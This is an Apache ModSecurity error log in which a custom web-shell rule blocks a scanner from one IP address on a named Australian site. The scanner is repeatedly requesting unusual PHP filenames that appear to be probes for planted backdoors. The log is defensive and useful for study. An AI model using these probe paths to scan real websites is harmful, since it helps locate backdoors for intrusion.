[Mon Apr 20 20:07:27.044678 2026] [:error] [pid 42014:tid 42030] [client 172.213.242.226:18079] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Spow_SRw.php"] [unique_id "aeYW_8ek-00-ZI0f1Np6FAAAAQ4"]
[Mon Apr 20 20:07:27.525153 2026] [:error] [pid 6928:tid 6953] [client 172.213.242.226:18250] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Spow_SRw.php"] [unique_id "aeYW_x3y7MHq1iB0qYqncwAAAVc"]
[Mon Apr 20 20:07:28.412133 2026] [:error] [pid 11351:tid 11404] [client 172.213.242.226:13021] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Spow_SRw.php"] [unique_id "aeYXAAN8Z1-vktaI_tPx2QAAAFE"]
[Mon Apr 20 20:07:29.062282 2026] [:error] [pid 11350:tid 11363] [client 172.213.242.226:18257] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Spow_SRw.php"] [unique_id "aeYXAf4EoMBgOJuJnT2dhQAAAAQ"]
[Mon Apr 20 20:07:29.641302 2026] [:error] [pid 11350:tid 11373] [client 172.213.242.226:18155] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blqjs.php"] [unique_id "aeYXAf4EoMBgOJuJnT2diAAAAA4"]
[Mon Apr 20 20:07:30.187148 2026] [:error] [pid 11441:tid 11445] [client 172.213.242.226:18204] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blqjs.php"] [unique_id "aeYXAsixByFUvmh319CTswAAAMI"]
[Mon Apr 20 20:07:30.770476 2026] [:error] [pid 11350:tid 11372] [client 172.213.242.226:18299] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blqjs.php"] [unique_id "aeYXAv4EoMBgOJuJnT2djAAAAA0"]
[Mon Apr 20 20:07:31.399048 2026] [:error] [pid 11441:tid 11454] [client 172.213.242.226:18178] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blqjs.php"] [unique_id "aeYXA8ixByFUvmh319CTtQAAAMs"]
[Mon Apr 20 20:07:31.899094 2026] [:error] [pid 11351:tid 11394] [client 172.213.242.226:18179] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpb.php"] [unique_id "aeYXAwN8Z1-vktaI_tPx2gAAAEc"]
[Mon Apr 20 20:07:32.402148 2026] [:error] [pid 11350:tid 11380] [client 172.213.242.226:18127] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpb.php"] [unique_id "aeYXBP4EoMBgOJuJnT2djwAAABU"]
[Mon Apr 20 20:07:33.805833 2026] [:error] [pid 11352:tid 11434] [client 172.213.242.226:18298] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpb.php"] [unique_id "aeYXBWl10mhMSfJ7ir_RhAAAAJQ"]
[Mon Apr 20 20:07:35.295940 2026] [:error] [pid 11494:tid 11509] [client 172.213.242.226:18123] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpb.php"] [unique_id "aeYXB8gko5iFiE8YoyTWBwAAAY0"]
[Mon Apr 20 20:07:37.497152 2026] [:error] [pid 11351:tid 11405] [client 172.213.242.226:18116] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hots.php"] [unique_id "aeYXCQN8Z1-vktaI_tPx3QAAAFI"]
[Mon Apr 20 20:07:39.391999 2026] [:error] [pid 11351:tid 11396] [client 172.213.242.226:18215] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hots.php"] [unique_id "aeYXCwN8Z1-vktaI_tPx3wAAAEk"]
[Mon Apr 20 20:07:40.265532 2026] [:error] [pid 11350:tid 11366] [client 172.213.242.226:18168] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hots.php"] [unique_id "aeYXDP4EoMBgOJuJnT2dlQAAAAc"]
[Mon Apr 20 20:07:40.810661 2026] [:error] [pid 11350:tid 11367] [client 172.213.242.226:18191] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hots.php"] [unique_id "aeYXDP4EoMBgOJuJnT2dmwAAAAg"]
[Mon Apr 20 20:07:41.623949 2026] [:error] [pid 11350:tid 11369] [client 172.213.242.226:18241] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/CDX1.php"] [unique_id "aeYXDf4EoMBgOJuJnT2dngAAAAo"]
[Mon Apr 20 20:07:42.306922 2026] [:error] [pid 11350:tid 11375] [client 172.213.242.226:18218] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/CDX1.php"] [unique_id "aeYXDv4EoMBgOJuJnT2doQAAABA"]
[Mon Apr 20 20:07:42.865341 2026] [:error] [pid 11350:tid 11370] [client 172.213.242.226:18212] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/CDX1.php"] [unique_id "aeYXDv4EoMBgOJuJnT2dowAAAAs"]
[Mon Apr 20 20:07:43.552718 2026] [:error] [pid 11351:tid 11397] [client 172.213.242.226:18285] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/CDX1.php"] [unique_id "aeYXDwN8Z1-vktaI_tPx5gAAAEo"]
[Mon Apr 20 20:07:44.288614 2026] [:error] [pid 11350:tid 11376] [client 172.213.242.226:18146] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gkojz.php"] [unique_id "aeYXEP4EoMBgOJuJnT2dqAAAABE"]
[Mon Apr 20 20:07:48.164358 2026] [:error] [pid 11350:tid 11362] [client 172.213.242.226:18059] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gkojz.php"] [unique_id "aeYXFP4EoMBgOJuJnT2dsgAAAAM"]
[Mon Apr 20 20:07:48.827221 2026] [:error] [pid 11441:tid 11453] [client 172.213.242.226:18277] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gkojz.php"] [unique_id "aeYXFMixByFUvmh319CTwQAAAMo"]
[Mon Apr 20 20:07:49.484105 2026] [:error] [pid 11494:tid 11500] [client 172.213.242.226:18117] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gkojz.php"] [unique_id "aeYXFcgko5iFiE8YoyTWCQAAAYQ"]
[Mon Apr 20 20:07:50.074635 2026] [:error] [pid 11494:tid 11506] [client 172.213.242.226:18160] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vrhiw.php"] [unique_id "aeYXFsgko5iFiE8YoyTWCgAAAYo"]
[Mon Apr 20 20:07:50.554731 2026] [:error] [pid 11494:tid 11501] [client 172.213.242.226:18207] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vrhiw.php"] [unique_id "aeYXFsgko5iFiE8YoyTWCwAAAYU"]
[Mon Apr 20 20:07:51.118393 2026] [:error] [pid 11350:tid 11360] [client 172.213.242.226:18235] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vrhiw.php"] [unique_id "aeYXF_4EoMBgOJuJnT2duAAAAAE"]
[Mon Apr 20 20:07:51.697757 2026] [:error] [pid 11352:tid 11423] [client 172.213.242.226:18280] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vrhiw.php"] [unique_id "aeYXF2l10mhMSfJ7ir_RhwAAAIk"]
[Mon Apr 20 20:07:52.290856 2026] [:error] [pid 11494:tid 11513] [client 172.213.242.226:18118] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/whtrq.php"] [unique_id "aeYXGMgko5iFiE8YoyTWDgAAAZE"]
[Mon Apr 20 20:07:52.942796 2026] [:error] [pid 11494:tid 11496] [client 172.213.242.226:18221] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/whtrq.php"] [unique_id "aeYXGMgko5iFiE8YoyTWEAAAAYA"]
[Mon Apr 20 20:07:53.607820 2026] [:error] [pid 11350:tid 11383] [client 172.213.242.226:18141] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/whtrq.php"] [unique_id "aeYXGf4EoMBgOJuJnT2dwgAAABg"]
[Mon Apr 20 20:07:54.248656 2026] [:error] [pid 11350:tid 11360] [client 172.213.242.226:18131] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/whtrq.php"] [unique_id "aeYXGv4EoMBgOJuJnT2dxAAAAAE"]
[Mon Apr 20 20:07:54.938829 2026] [:error] [pid 11351:tid 11390] [client 172.213.242.226:18262] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "aeYXGgN8Z1-vktaI_tPx9wAAAEM"]
[Mon Apr 20 20:07:55.600409 2026] [:error] [pid 11350:tid 11369] [client 172.213.242.226:18090] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "aeYXG_4EoMBgOJuJnT2dyQAAAAo"]
[Mon Apr 20 20:07:56.181750 2026] [:error] [pid 11494:tid 11510] [client 172.213.242.226:18230] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "aeYXHMgko5iFiE8YoyTWEwAAAY4"]
[Mon Apr 20 20:07:56.829780 2026] [:error] [pid 6928:tid 6933] [client 172.213.242.226:18205] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "aeYXHB3y7MHq1iB0qYqnfQAAAUM"]
[Mon Apr 20 20:07:57.384386 2026] [:error] [pid 6928:tid 6948] [client 172.213.242.226:18260] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rip.php"] [unique_id "aeYXHR3y7MHq1iB0qYqnfgAAAVI"]
[Mon Apr 20 20:07:58.032492 2026] [:error] [pid 11494:tid 11520] [client 172.213.242.226:18064] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rip.php"] [unique_id "aeYXHsgko5iFiE8YoyTWFAAAAZg"]
[Mon Apr 20 20:07:58.637844 2026] [:error] [pid 11350:tid 11381] [client 172.213.242.226:18234] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rip.php"] [unique_id "aeYXHv4EoMBgOJuJnT2dzQAAABY"]
[Mon Apr 20 20:07:59.239979 2026] [:error] [pid 11350:tid 11365] [client 172.213.242.226:13041] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rip.php"] [unique_id "aeYXH_4EoMBgOJuJnT2d0AAAAAY"]
[Mon Apr 20 20:07:59.881369 2026] [:error] [pid 11350:tid 11359] [client 172.213.242.226:18169] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sts.php"] [unique_id "aeYXH_4EoMBgOJuJnT2d1AAAAAA"]
[Mon Apr 20 20:08:00.901979 2026] [:error] [pid 11494:tid 11518] [client 172.213.242.226:13033] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sts.php"] [unique_id "aeYXIMgko5iFiE8YoyTWFQAAAZY"]
[Mon Apr 20 20:08:01.631037 2026] [:error] [pid 11494:tid 11516] [client 172.213.242.226:18140] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sts.php"] [unique_id "aeYXIcgko5iFiE8YoyTWFwAAAZQ"]
[Mon Apr 20 20:08:02.271880 2026] [:error] [pid 6928:tid 6950] [client 172.213.242.226:18200] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sts.php"] [unique_id "aeYXIh3y7MHq1iB0qYqniQAAAVQ"]
[Mon Apr 20 20:08:02.948451 2026] [:error] [pid 11351:tid 11401] [client 172.213.242.226:13005] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ynjli.php"] [unique_id "aeYXIgN8Z1-vktaI_tPx_gAAAE4"]
[Mon Apr 20 20:08:03.962268 2026] [:error] [pid 11494:tid 11509] [client 172.213.242.226:18236] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ynjli.php"] [unique_id "aeYXI8gko5iFiE8YoyTWGAAAAY0"]
[Mon Apr 20 20:08:04.472625 2026] [:error] [pid 11351:tid 11407] [client 172.213.242.226:18274] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ynjli.php"] [unique_id "aeYXJAN8Z1-vktaI_tPyAAAAAFQ"]
[Mon Apr 20 20:08:04.997919 2026] [:error] [pid 11350:tid 11373] [client 172.213.242.226:18222] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ynjli.php"] [unique_id "aeYXJP4EoMBgOJuJnT2d7gAAAA4"]
[Mon Apr 20 20:08:05.602286 2026] [:error] [pid 11351:tid 11409] [client 172.213.242.226:18162] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/repurify.php"] [unique_id "aeYXJQN8Z1-vktaI_tPyAQAAAFY"]
[Mon Apr 20 20:08:06.254341 2026] [:error] [pid 11351:tid 11392] [client 172.213.242.226:13028] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/repurify.php"] [unique_id "aeYXJgN8Z1-vktaI_tPyAgAAAEU"]
[Mon Apr 20 20:08:06.779393 2026] [:error] [pid 11350:tid 11360] [client 172.213.242.226:18134] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/repurify.php"] [unique_id "aeYXJv4EoMBgOJuJnT2d9AAAAAE"]
[Mon Apr 20 20:08:07.355060 2026] [:error] [pid 11350:tid 11382] [client 172.213.242.226:18259] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/repurify.php"] [unique_id "aeYXJ_4EoMBgOJuJnT2d9wAAABc"]
[Mon Apr 20 20:08:07.914663 2026] [:error] [pid 11441:tid 11457] [client 172.213.242.226:18166] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/l10n.php"] [unique_id "aeYXJ8ixByFUvmh319CTxwAAAM4"]
[Mon Apr 20 20:08:08.588826 2026] [:error] [pid 11350:tid 11371] [client 172.213.242.226:18213] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/l10n.php"] [unique_id "aeYXKP4EoMBgOJuJnT2d_QAAAAw"]
[Mon Apr 20 20:08:09.127222 2026] [:error] [pid 11350:tid 11364] [client 172.213.242.226:18199] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/l10n.php"] [unique_id "aeYXKf4EoMBgOJuJnT2eAQAAAAU"]
[Mon Apr 20 20:08:09.691684 2026] [:error] [pid 11350:tid 11383] [client 172.213.242.226:18143] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/l10n.php"] [unique_id "aeYXKf4EoMBgOJuJnT2eAwAAABg"]
